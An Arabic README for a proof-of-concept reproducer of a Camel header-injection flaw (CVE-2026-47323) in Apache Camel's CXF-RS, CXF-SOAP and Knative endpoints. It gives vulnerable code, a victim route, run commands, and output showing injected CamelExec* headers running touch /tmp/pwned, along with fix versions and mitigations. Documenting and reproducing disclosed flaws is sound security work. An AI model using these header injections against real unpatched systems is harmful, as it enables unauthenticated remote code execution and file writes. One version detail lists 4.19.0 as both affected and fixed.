
أداة إعادة إنتاج لـ CVE-2026-47323: نقص التصفية الواردة في Apache Camel CXF/Knative HeaderFilterStrategy، مما يتيح حقن رأس التحكم في Camel (RCE عبر camel-exec) عبر نقاط النهاية CXF-RS/CXF-SOAP/Knative (تم الإصلاح في الإصدارات 4.14.6/4.18.2/4.19.0)
يُظهر هذا المشروع حقن رؤوس الرسائل في استراتيجيات تصفية رؤوس HTTP الخاصة بـ Apache Camel CXF و Knative، والمُتتبَّعة تحت CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest) و CxfHeaderFilterStrategy (camel-cxf-transport) و KnativeHttpHeaderFilterStrategy (camel-knative-http) تقوم بتصفية الرؤوس الداخلية لـ Camel الصادرة فقط (setOutFilterStartsWith)، بينما لا تُهيئ التصفية الواردة (setInFilterStartsWith). ونتيجةً لذلك، يمكن لمهاجم غير مُوثَّق حقن رؤوس داخلية لـ Camel (مثل CamelExecCommandExecutable, CamelFileName) عبر طلبات HTTP إلى نقاط نهاية CXF-RS أو CXF-SOAP. عندما يُمرِّر مسار (route) الرسائل من نقاط النهاية هذه إلى مُنتِجات (producers) تعتمد على الرؤوس مثل camel-exec أو camel-file، فإن الرؤوس المحقونة تتجاوز القيم المُهيَّأة — مما يتيح تنفيذ تعليمات برمجية عن بُعد أو كتابة ملفات عشوائية.
يستخدم هذا الإثبات (PoC) سطح CXF-RS (JAX-RS): حيث يُحوِّل حقن CamelExecCommandExecutable أمر echo غير ضار إلى تنفيذ أمر عشوائي.
إشعار: https://camel.apache.org/security/CVE-2026-47323.html
هذا المُستنسِخ يُثبِّت camel 4.18.1 — آخر إصدار مُتأثر في خط 4.18.x (تم تطبيق الإصلاح في 4.18.2). نفس النمط كما في camel-undertow (CVE-2025-30177)، ومرشح الرأس الوارد الأوسع (CVE-2025-27636, CVE-2025-29891)، والاستراتيجيات غير HTTP (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (المُتأثر 4.18.1) — تم تكوين مرشح الصادر فقط:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (لا يوجد setInFilterStartsWith(...)، لذا لا يتم تصفية الرؤوس الواردة Camel*)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — يتم نسخ رؤوس HTTP الواردة عبر الاستراتيجية:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// تم الإسقاط — ولكن بدون مرشح وارد، لا يتم إسقاط CamelExecCommandExecutable
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- الرأس المحقون يصل إلى هنا
}
}
الإصلاح (4.14.6 / 4.18.2 / 4.19.0) يُضيف setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) إلى هذه الاستراتيجيات، لذلك يتم إسقاط الرؤوس الواردة Camel* / camel*.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // أمر المؤلف الثابت غير الضار
.setBody(constant("ok\n"));
نقطة نهاية JAX-RS (GET /service/api/ping) يتم توجيه طلباتها إلى أمر shell ثابت. يُكرِّم مُنتِج camel-exec الرأس الوارد CamelExecCommandExecutable على حساب الأمر echo المُهيَّأ.
كل شيء يعمل في تطبيق واحد مستقل: نقطة نهاية CXF-RS، ومُنتِج camel-exec، ومُحرِّك المهاجم.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # خدمة واحدة مستقلة
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # واجهة JAX-RS: GET /api/ping
│ ├── VictimRoute.java # مستهلك cxfrs -> exec:echo
│ └── ExploitController.java # المهاجم: GET /ping مع رؤوس CamelExec* محقونة
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # تم إنشاؤه بواسطة الأمر المحقون
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) طلب شرعي (بدون رؤوس محقونة) ===
response: ok
marker created: false
=== 2) حقن CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> إثبات حقن الرأس / RCE — عميل HTTP غير مُوثَّق جعل المسار ينفذ أمرًا عشوائيًا
>>> عن طريق حقن رؤوس CamelExec* في طلب CXF-RS (touch /tmp/pwned): true
أي مسار يُمرِّر الرسائل من نقطة نهاية CXF-RS أو CXF-SOAP أو Knative-HTTP إلى مُنتِج يعتمد على الرؤوس. بالإضافة إلى CamelExecCommandExecutable (RCE عبر camel-exec)، يتيح CamelFileName كتابة ملفات عشوائية عبر camel-file، ويمكن لرؤوس التحكم الأخرى Camel* توجيه مُنتِجين آخرين.
الترقية إلى 4.14.6 / 4.18.2 / 4.19.0. ستُهيِّئ الاستراتيجيات المُتأثرة بعد ذلك setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)، مما يُسقط الرؤوس الواردة Camel*.
إلى أن يتم الترقية، قم بإزالة رؤوس تحكم Camel من الرسائل الواردة قبل أي مُنتِج في المصب (.removeHeaders("Camel*") و .removeHeaders("camel*") في بداية المسار)، واطلب المصادقة على نقطة نهاية CXF / Knative.
هذا المُستنسِخ مُقدم لأغراض البحث الأمني والاختبار المُصرَّح به فقط، لثغرة مُعلنة ومُصحَّحة. لا تستخدمه ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكون | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: التحقق غير السليم من المُدخلات |
| التأثير | حقن رؤوس تحكم Camel عبر طلب HTTP → تجاوز مُنتِج يعتمد على الرؤوس في المصب → RCE (camel-exec) أو كتابة ملف عشوائي (camel-file) |
| المتطلبات المسبقة | نقطة نهاية CXF-RS / CXF-SOAP / Knative تُمرِّر إلى مُنتِج يعتمد على الرؤوس؛ غير مُوثَّقة إذا كانت نقطة النهاية غير مُوثَّقة |
| الإصدارات المتأثرة | من 3.18.0 قبل 4.14.6، من 4.15.0 قبل 4.18.2، 4.19.0 (تم الإصلاح في 4.19.0) |
| الإصدارات المُصحَّحة | 4.14.6, 4.18.2, 4.19.0 |
| الفضل | Quac Tran |